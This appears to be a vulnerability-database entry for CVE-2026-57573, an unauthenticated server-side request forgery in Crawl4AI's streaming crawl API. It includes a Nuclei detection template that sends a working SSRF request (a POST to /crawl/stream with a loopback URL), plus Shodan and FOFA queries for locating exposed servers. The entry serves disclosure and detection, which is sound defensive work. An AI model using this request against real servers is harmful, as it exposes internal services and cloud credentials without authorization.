SecurityContext

CVE-2026-57573: Crawl4AI <= 0.8.9 - Server-Side Request Forgery via Streaming Crawl

Classification

  • Cwe: CWE-918
  • Cvss score: 8.6
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
  • Epss score: 0.00445
  • Epss percentile: 0.39567
  • Not known: cpe

Metadata

  • Fofa-query: title="Crawl4AI Playground"
  • Max-request: 2
  • Product: crawl4ai
  • Shodan-query: http.title:"Crawl4AI Playground"
  • Vendor: unclecode
  • Verified: yes

Products

ProductIndexedUrl
unclecode:crawl4aino—

Labels

  • Name: Crawl4AI - Server Side Request Forgery
  • Impact: Remote attackers can make the server fetch internal or private URLs, potentially exposing sensitive internal resources.
  • Remediation: Update to version 0.9.0 or later.
  • Vulnerability type: server_side_request_forgery
  • Vulnerability impact: server_side_request_forgery, information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2026-57573
  • Not known: requirements

```yaml

id: CVE-2026-57573

info:

name: Crawl4AI <= 0.8.9 - Server-Side Request Forgery via Streaming Crawl

author: s4e-io

severity: high

description: |

Crawl4AI Docker API server through 0.8.9 applies its SSRF destination check (validate_url_destination) only in the non-streaming /crawl handler. The streaming handler used by POST /crawl/stream, and by POST /crawl with crawler_config.stream set to true, passes the seed URLs straight to the headless browser without any destination validation. The Docker API is unauthenticated by default, so a remote attacker can make the server fetch loopback, private network and cloud metadata addresses and read the response body from the streamed crawl result.

impact: |

Unauthenticated attackers can read internal-only services and cloud instance metadata endpoints, which can expose cloud credentials and internal data.

remediation: |

Upgrade Crawl4AI to version 0.9.0 or later, where the streaming handler validates every seed URL with the same global-routability check as the non-streaming handler. As a workaround, restrict outbound network access from the container and require authentication for the API.

reference:

- https://github.com/unclecode/crawl4ai/security/advisories/GHSA-wm69-2pc3-rmmf

- https://github.com/unclecode/crawl4ai/commit/60886d1a0c52682e4c83a7cef9dfac417fff6bd2

- https://github.com/unclecode/crawl4ai/releases/tag/v0.9.0

- https://nvd.nist.gov/vuln/detail/CVE-2026-57573

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

cvss-score: 8.6

cve-id: CVE-2026-57573

epss-score: 0.00445

epss-percentile: 0.39567

cwe-id: CWE-918

metadata:

verified: true

max-request: 2

vendor: unclecode

product: crawl4ai

shodan-query: http.title:"Crawl4AI Playground"

fofa-query: title="Crawl4AI Playground"

tags: cve,cve2026,crawl4ai,unclecode,ssrf,unauth,intrusive

flow: http(1) && http(2)

http:

- raw:

- |

GET /health HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(content_type, "application/json")'

- 'regex("^\\{\"status\":\"ok\",\"timestamp\":[0-9.]+,\"version\":\"[0-9][^\"]*\"\\}$", body)'

condition: and

internal: true

extractors:

- type: regex

name: version

part: body

group: 1

regex:

- '"version":"([0-9][^"]*)"'

internal: true

- raw:

- |

POST /crawl/stream HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{"urls":["http://127.0.0.1:11235/health"]}

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(content_type, "application/x-ndjson")'

- 'contains_all(body, "\"url\": \"http://127.0.0.1:11235/health\"", "<pre>{\\\"status\\\":\\\"ok\\\",\\\"timestamp\\\":", concat("\\\"version\\\":\\\"", version, "\\\"}</pre>"))'

condition: and

digest: 4a0a004730450220093652d399243ee6b31ecd5d545f35e743cffa3dd39a07d8ba434020e84d10b002210096de1197de4c9de4eb5a37b97c66be1e8250460be03aeed46845b8562664d7a5:922c64590222798bb761d5b6d8e72950

```